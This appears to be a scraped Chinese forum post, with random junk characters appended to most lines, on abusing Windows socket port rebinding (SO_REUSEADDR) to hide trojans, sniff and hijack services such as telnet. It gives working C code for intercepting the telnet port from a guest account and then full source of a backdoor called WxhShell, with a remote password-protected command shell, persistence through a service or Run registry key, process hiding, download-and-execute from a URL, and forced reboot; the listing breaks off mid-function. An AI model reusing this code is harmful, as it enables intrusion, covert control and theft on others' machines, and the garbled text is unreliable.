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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: kT(}>=]g  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); &`a$n2ycy  
tQ7DdVdix  
  saddr.sin_family = AF_INET; gT K5z.]  
hT&,5zaWdv  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); (D'Z4Y  
L3Leb%,!  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); DPfP)J:~  
nL}bCX{  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 k'N `5M)  
U! F~><  
  这意味着什么?意味着可以进行如下的攻击: b$sw`Rsw  
\/jr0):  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 fhu- YYJt  
 qO  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ]P TTI\n  
PN{l)&K2.  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 u7u8cVF  
l`2X'sw[/  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  I/bED~Z:a  
,jBd3GdlZ  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 H_'i.t 'SS  
YJw9 d]  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 oZ1#.o{  
;lST@>  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 z_#B 4  
&XosDt  
  #include A>6 b 6  
  #include 9i)E<.6  
  #include LxkToO{  
  #include    3,j)PKf ;  
  DWORD WINAPI ClientThread(LPVOID lpParam);    M/5e4b  
  int main() 4#uWj ?u  
  { PsDks3cG  
  WORD wVersionRequested; \#5t%t  
  DWORD ret; M}4%LjD  
  WSADATA wsaData; ?lv{;4BC  
  BOOL val; &\][:kG;  
  SOCKADDR_IN saddr; 07"dU  
  SOCKADDR_IN scaddr; \5^#5_<  
  int err; lKs*KwG  
  SOCKET s; dt Q>4C"N  
  SOCKET sc; \4wM8j  
  int caddsize; m",wjoZe*  
  HANDLE mt; g$~3@zD  
  DWORD tid;   9<5SQ  
  wVersionRequested = MAKEWORD( 2, 2 ); { p {a0*$5  
  err = WSAStartup( wVersionRequested, &wsaData ); Q>nq~#3?  
  if ( err != 0 ) { ZVpMR0!  
  printf("error!WSAStartup failed!\n"); [ADr _  
  return -1; ;YxQo o >  
  } v*5n$UFV  
  saddr.sin_family = AF_INET; mt7}1s,i[  
   /%Bc*k=ox  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 sk!v!^\_r  
t=iSMe  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 9+.0ZP?  
  saddr.sin_port = htons(23); (veGztt  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) SMaC{RPQ  
  { m~9Qx`fi`  
  printf("error!socket failed!\n"); 1)u 3  
  return -1; PIo/|1  
  } `rC9i5:  
  val = TRUE; 1oaiA/bq  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 FG7}MUu  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) |,bsMJh0  
  { _`WbR&d2Id  
  printf("error!setsockopt failed!\n"); * B,D#;6  
  return -1; cu|gM[  
  } gd[jYej'RP  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; cTm oz.0  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 K1Nhz'^=D  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 *52*IRH  
,v:m  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) OA2<jrGB!  
  { aksyr$d0V<  
  ret=GetLastError(); 3 q  
  printf("error!bind failed!\n"); ys:1%D,,_  
  return -1; ^8aj\xe(  
  } VO>A+vx3M  
  listen(s,2); &^4\Rx_I  
  while(1) ~fB: >ceD  
  { JpE4 o2  
  caddsize = sizeof(scaddr); O>xGH0H  
  //接受连接请求 |$#u~<r_ w  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); B2VC:TG>  
  if(sc!=INVALID_SOCKET) /j./  
  { oC>e'_6_b  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); g5R2a7  
  if(mt==NULL) -_.)~ )P  
  { lDO9GNz$  
  printf("Thread Creat Failed!\n"); q5?g/-_0[  
  break; %d*k3 f }  
  } ),0_ C\  
  } `GS!$9j  
  CloseHandle(mt); =2pGbD;*  
  } 8I$B^,N  
  closesocket(s); LYNd^}  
  WSACleanup(); 64>E|w  
  return 0; 9=pG$+01OR  
  }   )Y RVy  
  DWORD WINAPI ClientThread(LPVOID lpParam) _Xd,aLoo  
  { Bvzl* &?  
  SOCKET ss = (SOCKET)lpParam; (%"M% Qko  
  SOCKET sc; [jve |-v=  
  unsigned char buf[4096]; 7kO5hlKeo  
  SOCKADDR_IN saddr; Ji4c8*&Jpc  
  long num; :pcKww|V  
  DWORD val; e~=fo#*2?@  
  DWORD ret; ?JDZDPVJ)  
  //如果是隐藏端口应用的话,可以在此处加一些判断 #o_`$'>  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   G!T)V2y  
  saddr.sin_family = AF_INET; vC[)/w  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Cq;t;qN,nQ  
  saddr.sin_port = htons(23); ^RrufwUA  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) F.ryeOJ  
  { 23@e?A=C  
  printf("error!socket failed!\n"); e*jt(p[Ge  
  return -1; xz[a3In+  
  } 0*YLFqN  
  val = 100; ]78I  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) x0@J~ _0  
  { J/8aDr (+  
  ret = GetLastError(); UOSa`TZbZ  
  return -1; p{xO+Nx1a  
  } Ox.&tW%@  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) YFOSv]w  
  { {EGiGwpf  
  ret = GetLastError(); K/79Tb-  
  return -1; nzE4P3 C+  
  } GJai!$v  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) KL,=Z&.<=  
  { qY`)W[  
  printf("error!socket connect failed!\n"); ZXljCiNn+\  
  closesocket(sc); zM"OateA  
  closesocket(ss); } *|_P  
  return -1; 1VL!0H  
  } )+RTA y[k  
  while(1) D oX!P|*  
  { yjvzA|(YC  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 6 /gh_'&  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ]]`hnzJX  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ]?S\So+  
  num = recv(ss,buf,4096,0); z]^&^VFu  
  if(num>0) a_4Ny  
  send(sc,buf,num,0); <KqZ.7XfB  
  else if(num==0) %&5 !vK  
  break; $UavM|  
  num = recv(sc,buf,4096,0); 9KRHo%m  
  if(num>0) TKj8a(R_  
  send(ss,buf,num,0); =($RT  
  else if(num==0) &1YqPk  
  break; evNo(U\C  
  } 3Ba>a(E  
  closesocket(ss); v+f:VA  
  closesocket(sc); a'U7 t  
  return 0 ; `}#(Ze*V:  
  } v Ic 0V  
3P~I' FQ  
u@5vK2  
========================================================== /:d03N\9k  
oGx OJyD  
下边附上一个代码,,WXhSHELL _R<eWp  
ewg&DBbN"  
========================================================== B =@BYqiY  
L22GOa0  
#include "stdafx.h" Pf;'eOdp  
jnsV'@v8Nj  
#include <stdio.h> vJVL%,7  
#include <string.h> kmPK |R  
#include <windows.h> {j@ S<PD  
#include <winsock2.h> _" W<>  
#include <winsvc.h> - FV$Sne  
#include <urlmon.h> LHU^%;L  
JUXIE y^  
#pragma comment (lib, "Ws2_32.lib") u[9i>7}9  
#pragma comment (lib, "urlmon.lib") [~9rp]<  
VXXo\LQUU  
#define MAX_USER   100 // 最大客户端连接数 lb ol+O65  
#define BUF_SOCK   200 // sock buffer l?v`kAMR  
#define KEY_BUFF   255 // 输入 buffer 90L,.  
=8O057y  
#define REBOOT     0   // 重启  {I+   
#define SHUTDOWN   1   // 关机 H_KE^1  
5_Yl!=  
#define DEF_PORT   5000 // 监听端口 J/S 47J~  
Cv862k P  
#define REG_LEN     16   // 注册表键长度 rStfluPL  
#define SVC_LEN     80   // NT服务名长度 fH~InDT^  
FJKW=1 =,  
// 从dll定义API x4|>HY<p?  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); >y)(M(o  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); #mwV66'H  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); uqwB`<>KJ  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); .4Ob?ZS(  
?#?[6t  
// wxhshell配置信息 Ci6yH( RE  
struct WSCFG { <Z5ak4P  
  int ws_port;         // 监听端口 e@'rY#:u  
  char ws_passstr[REG_LEN]; // 口令 XzI c<81Z  
  int ws_autoins;       // 安装标记, 1=yes 0=no 4<._)_m  
  char ws_regname[REG_LEN]; // 注册表键名 WF\ hXO  
  char ws_svcname[REG_LEN]; // 服务名 "]J4BZD  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ._@Scd  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 @/h_v#W  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 CqX2R:#  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Nw ;BhBt  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 9t@^P^}=\m  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 &09z`* ,  
y;A<R[|Ve  
}; p'UYH t  
A5-y+   
// default Wxhshell configuration (\m4o   
struct WSCFG wscfg={DEF_PORT, `$oGgz6ZT  
    "xuhuanlingzhe", d%_v eVIe  
    1, (7BG~T  
    "Wxhshell", f!hQ"1[  
    "Wxhshell", K=Z~$)Og)  
            "WxhShell Service", ~qQSt%  
    "Wrsky Windows CmdShell Service", ,73 kh  
    "Please Input Your Password: ", H~%HTl  
  1, PD$XLZ  
  "http://www.wrsky.com/wxhshell.exe", K  +n  
  "Wxhshell.exe" O{Bll;C  
    }; H.|v ^e  
`tA~"J$32l  
// 消息定义模块 K] ;`  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; j`jF{k b  
char *msg_ws_prompt="\n\r? for help\n\r#>"; !4-B xeNY\  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 3wZA,Z  
char *msg_ws_ext="\n\rExit."; HqNM31)  
char *msg_ws_end="\n\rQuit."; N,U<.{T=A  
char *msg_ws_boot="\n\rReboot..."; bM7y}P5`1  
char *msg_ws_poff="\n\rShutdown..."; 'o=`1I  
char *msg_ws_down="\n\rSave to "; ;u`zZb=,[  
's]I:06A  
char *msg_ws_err="\n\rErr!"; l H:Y8j  
char *msg_ws_ok="\n\rOK!"; gi!{y   
2mUq$kws  
char ExeFile[MAX_PATH]; SK f9 yS#  
int nUser = 0; ut z.  
HANDLE handles[MAX_USER]; =" Q5Z6W  
int OsIsNt; lZoy(kdc  
\.h!'nfF  
SERVICE_STATUS       serviceStatus; !f5I.r~  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; d`]| i:*q  
j3{8]D  
// 函数声明 cU <T;1VQ  
int Install(void); 0'u2xe  
int Uninstall(void); ?K, xxH  
int DownloadFile(char *sURL, SOCKET wsh); j8WMGSrrF  
int Boot(int flag); ! bbVa/  
void HideProc(void); xo{3r\u?}  
int GetOsVer(void); USF&;M3  
int Wxhshell(SOCKET wsl); 2{ ^k*Cfd  
void TalkWithClient(void *cs); I4'mU$)U  
int CmdShell(SOCKET sock); N8a+X|3]0  
int StartFromService(void); p6~\U5rXm  
int StartWxhshell(LPSTR lpCmdLine); Yw7+wc8R  
^Wb|Pl  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); P5 GM s  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); N-* ^V^V  
)IUeWR  
// 数据结构和表定义 vg@kPuOiO  
SERVICE_TABLE_ENTRY DispatchTable[] = uNnx i  
{ L3[r7 b  
{wscfg.ws_svcname, NTServiceMain}, [/_M!&zz2  
{NULL, NULL} H^y%Bi&^  
}; ;/gH6Z?  
!ceT>i90h  
// 自我安装 r[; .1,(  
int Install(void) F-i`GMWC  
{ 8W' ,T  
  char svExeFile[MAX_PATH]; ["l1\YCi  
  HKEY key; }{"a}zOl  
  strcpy(svExeFile,ExeFile); -= {Z::}S"  
tMM *m  
// 如果是win9x系统,修改注册表设为自启动 0I6[`*|SX  
if(!OsIsNt) { S[!sJ-rG  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { & h)G>Sqc  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /H 3u^  
  RegCloseKey(key); |eS5~0<`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { p H&Tb4  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &t .9^;(  
  RegCloseKey(key); AIZs^ `_  
  return 0; Q}ebw  
    } ul0]\(sS:  
  } ",wv*z)_>  
} . ] =$((  
else { @0}Q"15,I  
]|NwC <  
// 如果是NT以上系统,安装为系统服务 ho*44=j  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ;-SFK+)R"  
if (schSCManager!=0) vrVb/hhG  
{ WjfUbKg0  
  SC_HANDLE schService = CreateService r![RRa^  
  ( j2GO ZKy  
  schSCManager, J:6wFmU  
  wscfg.ws_svcname, .iK{=L/(y  
  wscfg.ws_svcdisp, QLNQE6-  
  SERVICE_ALL_ACCESS, [UO?L2$&  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , aH@Ux?-}  
  SERVICE_AUTO_START, 8yr_A[S8.  
  SERVICE_ERROR_NORMAL, ;3ZHm*xJx  
  svExeFile, Y{c_5YYf  
  NULL, zY?GO"U"  
  NULL, W)WL1@!Z  
  NULL, cEkf9:_La  
  NULL, qs\ O(K8  
  NULL A2Je*Gz  
  ); 29:1crzx~  
  if (schService!=0) `fw:   
  { );4lM%]eb  
  CloseServiceHandle(schService); r>v_NKS]t  
  CloseServiceHandle(schSCManager); eq^<5 f  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); _TF\y@hF*D  
  strcat(svExeFile,wscfg.ws_svcname); t;wfp>El  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { X\X* -.]{  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); GLI 5AbQK  
  RegCloseKey(key); h\+U+ ?u  
  return 0; oK cgP  
    } l2>ka~  
  } _Wcr'*7  
  CloseServiceHandle(schSCManager); "`pI! nj  
} Vc}#Ok  
} Mm7l!  
S *3N6*-l"  
return 1; dz^l6<a"n  
} 1pe eecE  
DPENYr  
// 自我卸载 IyTL|W6  
int Uninstall(void) ;CbQ}k  
{ j$Ttoo  
  HKEY key; c.5?Q >!+  
q}-q[p? 5  
if(!OsIsNt) { bMT1(edm  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Jt4&%b-T  
  RegDeleteValue(key,wscfg.ws_regname); 6"+/Imb-  
  RegCloseKey(key); U`gQ7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]"'$i4I{R  
  RegDeleteValue(key,wscfg.ws_regname); z+ybtS>pZ  
  RegCloseKey(key); JZ#O"rF  
  return 0; eow6{CD8  
  } _D%aT6,G+(  
} KA)9&6  
} L_fu<W  
else { yKJKQ9  
o K;.|ja  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); >T*/[{L8;  
if (schSCManager!=0) U68o"iE  
{ lR5< G  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Wn*>h'R  
  if (schService!=0) +5n,/YjS`  
  { xO8-vmf2  
  if(DeleteService(schService)!=0) { :1Jg;G  
  CloseServiceHandle(schService); #{973~uj  
  CloseServiceHandle(schSCManager); Xg>nb1e  
  return 0; j{)_&|^{  
  } #X&`gDW  
  CloseServiceHandle(schService); y,$kU1yH7  
  } fmH"&>Loc  
  CloseServiceHandle(schSCManager); CXqU< a&  
} )6?(K"T  
} y%.^| G  
an+`>}]F  
return 1; lq2P10j@  
} b!W!Vvf^x  
HCP' V  
// 从指定url下载文件 ~Yrtz   
int DownloadFile(char *sURL, SOCKET wsh) `<I+(8]Uz  
{ aAY=0rCI-  
  HRESULT hr; Ns.b8Y  
char seps[]= "/"; S{cy|QD  
char *token; c(@V t&gE  
char *file; vby[# S|  
char myURL[MAX_PATH]; %E q} H  
char myFILE[MAX_PATH]; c"X`OB  
^l\U6$3  
strcpy(myURL,sURL); &WW|! 6  
  token=strtok(myURL,seps); I;dc[m  
  while(token!=NULL) )bc0 t]Fs  
  { G(7!3a+  
    file=token; zyNg?_SM  
  token=strtok(NULL,seps); rzC\8Dd  
  } +bwSu)k  
,DrE4")4  
GetCurrentDirectory(MAX_PATH,myFILE); C(i1Vx<-  
strcat(myFILE, "\\"); n[#!Q`D  
strcat(myFILE, file); \iFh-?(  
  send(wsh,myFILE,strlen(myFILE),0); #DMt<1#:  
send(wsh,"...",3,0); Gv,_;?7lD  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); TxZ ^zj  
  if(hr==S_OK) NUVFG;  
return 0; 0eQwi l@  
else _F|oL|  
return 1; 9!hiCqA&  
_~m@ SI  
} #K1VPezN  
v]CH L# |  
// 系统电源模块 c8qsp n  
int Boot(int flag) p|Po##E}g^  
{ =5bef8O  
  HANDLE hToken; ?3ldHWa  
  TOKEN_PRIVILEGES tkp; Z1j3F  
BLzl XhHn  
  if(OsIsNt) { w}="}Cb  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ;0lHi4 c0  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); +an.z3?w  
    tkp.PrivilegeCount = 1; BM+v,hGY  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 'UGkL;  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); }EB/18  
if(flag==REBOOT) { BD6oN]  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) h$`P|#V&  
  return 0; -nP y?>p"|  
} AS[yNCsjC  
else { ^O_E T$  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) XV"8R"u%Q  
  return 0; 2"`R_q  
} Ogp Zwwk  
  } if6/ +7  
  else { ;c1ar)G7  
if(flag==REBOOT) { <=;#I_E#E  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 4L(/Z}(  
  return 0; (=n{LMa  
} C*A!`Q?1Y  
else { o+e:H jZZ  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) };5d>#NK,Y  
  return 0; dTN[E6#R  
} H$2<N@'4z  
} - inZX`afA  
Wr.G9zq.+  
return 1; tz #Fy?pe  
} 6?an._ C  
.(T*mk*>  
// win9x进程隐藏模块 #l kv&.)x  
void HideProc(void) IbFS8 *a\  
{ JQCQpn/  
H+UA  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); CAX)AN  
  if ( hKernel != NULL ) $j? zEz  
  { ~gz_4gzb  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); @VlDi1  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); (~ 6oA f  
    FreeLibrary(hKernel); !g=2U`j^  
  } I<p- o/TP  
p*F.WxB)4  
return; DEj6 ky  
} @LQe[`  
!zc?o?~z  
// 获取操作系统版本 ~I'1\1  
int GetOsVer(void) < {1'cx  
{ 9F[k;Uw  
  OSVERSIONINFO winfo; ^Ec);Z  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); bb@@QzR  
  GetVersionEx(&winfo); [I*zZ`  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) H_H3Gp  
  return 1; O}Y& @V%4k  
  else `_`\jd@  
  return 0; {G _ :#cep  
} m0*bz5  
wjLtLtK?  
// 客户端句柄模块 Tw^b!74gq  
int Wxhshell(SOCKET wsl) IGKF&s*;{[  
{ [T|_J$ ;  
  SOCKET wsh; RM/q\100  
  struct sockaddr_in client; AUZ^XiK  
  DWORD myID; ~.-o*  
@)"= b!q=  
  while(nUser<MAX_USER) vwA d6Tm  
{ TGUlJLT  
  int nSize=sizeof(client); S6~&g|T,  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 6x?3%0Km  
  if(wsh==INVALID_SOCKET) return 1; -+9,RtHR7  
HB+{vuN*L  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 0O,Q]P 82f  
if(handles[nUser]==0) IIrp-EMXJ  
  closesocket(wsh); $CT 2E  
else [nL{n bli  
  nUser++; u">KE6um  
  } Qf HJZ7K.4  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); >x /;'Y.  
s/' ]* n  
  return 0; v[P $c$Xi  
} Pra,r9h,  
3<c_`BWu  
// 关闭 socket )#|I(Gz ^  
void CloseIt(SOCKET wsh) NR </Jm*  
{  D`Tx,^E  
closesocket(wsh); ~yrEB:w`_  
nUser--; yL ?dC"c  
ExitThread(0); xA?(n!{P  
} /j}"4_. 8  
>ZX&2 {  
// 客户端请求句柄 2h:*lV^  
void TalkWithClient(void *cs) WoYXXYP/E  
{ uH"W07  
YfB8  
  SOCKET wsh=(SOCKET)cs; m]XG7:}V0  
  char pwd[SVC_LEN]; 5 5$J% ;&  
  char cmd[KEY_BUFF]; =Fu~ 0Wc  
char chr[1]; m+Um^:\jX  
int i,j; {`X O3  
[PRQa[_  
  while (nUser < MAX_USER) { qKL :#ny  
bUcq LV  
if(wscfg.ws_passstr) { 3W <_J_[  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); V~tZNR J-  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); NG)Xk[q4  
  //ZeroMemory(pwd,KEY_BUFF); y9/x:n&]  
      i=0;  9hbn<Y  
  while(i<SVC_LEN) { a,>`ab%>  
Q^p> hda  
  // 设置超时 },tN{()  
  fd_set FdRead; HutwgPvy  
  struct timeval TimeOut; }VetaO2*  
  FD_ZERO(&FdRead); zG"*B_l}+  
  FD_SET(wsh,&FdRead); 1-!q,q  
  TimeOut.tv_sec=8; p bRU"   
  TimeOut.tv_usec=0; |ORro r}  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); J ~"h&>T  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); oZ CvEVUk  
,)u7PMs  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ZKk*2EK]2z  
  pwd=chr[0]; 8Qwn  
  if(chr[0]==0xd || chr[0]==0xa) { #YEOY#  
  pwd=0; uaiCyh1:  
  break; x JXPtm  
  } .66_g@1  
  i++; xD|/98  
    } =.<S3?  
liU/O:Ap  
  // 如果是非法用户,关闭 socket IRq@~vdt)  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); f>i" j  
} ]&oQ6  
Pr>Pxsr&  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); >I*Qc<X91  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *{#l0My  
O /S:S  
while(1) { czp .q  
K1*oYHB  
  ZeroMemory(cmd,KEY_BUFF); v \xuq`  
x!@3.$  
      // 自动支持客户端 telnet标准   B#Q=Fo 6  
  j=0; Lt<KRs  
  while(j<KEY_BUFF) { XFS"~{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <E&[sQ|3  
  cmd[j]=chr[0]; ~WKcO&  
  if(chr[0]==0xa || chr[0]==0xd) { (hb\1 wZ  
  cmd[j]=0; >U%:Nfo3  
  break; $t1XoL  
  } Z` ;.62S  
  j++; 6Z:swgi6&  
    } s\Zp/-Q  
:)PAj  
  // 下载文件 ` 6'dhB  
  if(strstr(cmd,"http://")) { _7k6hVQ  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 0Na/3cz|zg  
  if(DownloadFile(cmd,wsh)) 3lW7auH4Y{  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); P.j0Xlof  
  else d^.@~  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); kN'.e*  
  } KcW]"K>p!  
  else { r6x"D3  
Z'@a@Y+  
    switch(cmd[0]) { 'IykIf  
  q| EE em  
  // 帮助 '9w.~@7  
  case '?': { kr=&x)Wy!  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 4!3mSWNV  
    break; |IgH0 zZ  
  } l+V#`S*q  
  // 安装 h^`!kp  
  case 'i': { ;DG&HO   
    if(Install()) 4/Wqeq,E8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); W/?\8AE  
    else %K$f2):  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); kZfUwF:yN  
    break; @71n{9  
    } uy t'  
  // 卸载 /1!Wet}f  
  case 'r': { d9E'4Zm  
    if(Uninstall()) U`-]U2 "  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qFpRY7eq  
    else B(z?IW&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o`EL)K{  
    break; <-3_tu>l  
    } Z~WUILx,  
  // 显示 wxhshell 所在路径 a2vZ'  
  case 'p': { U> @st="  
    char svExeFile[MAX_PATH]; h M/:zC:  
    strcpy(svExeFile,"\n\r"); %^){)#6w  
      strcat(svExeFile,ExeFile); Js'#=  
        send(wsh,svExeFile,strlen(svExeFile),0); >bo_  
    break;  55<f  
    } eX1<zzd  
  // 重启 Px$4.b[{_Y  
  case 'b': { fz hCV  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); <,Z6=M`  
    if(Boot(REBOOT)) "F.0(<4)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); YR\pt8(z?  
    else { $v#\bqY  
    closesocket(wsh); VEtdp*ot  
    ExitThread(0); MD 62ObK!  
    } = ;!$Qw4  
    break; jJ B+UF=  
    } = MP?aH [  
  // 关机 T*'?;u  
  case 'd': { %~$P.Zh  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); w:0=L`<Eu  
    if(Boot(SHUTDOWN)) jIOrB}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E/Ng   
    else { B>!OW2q0D  
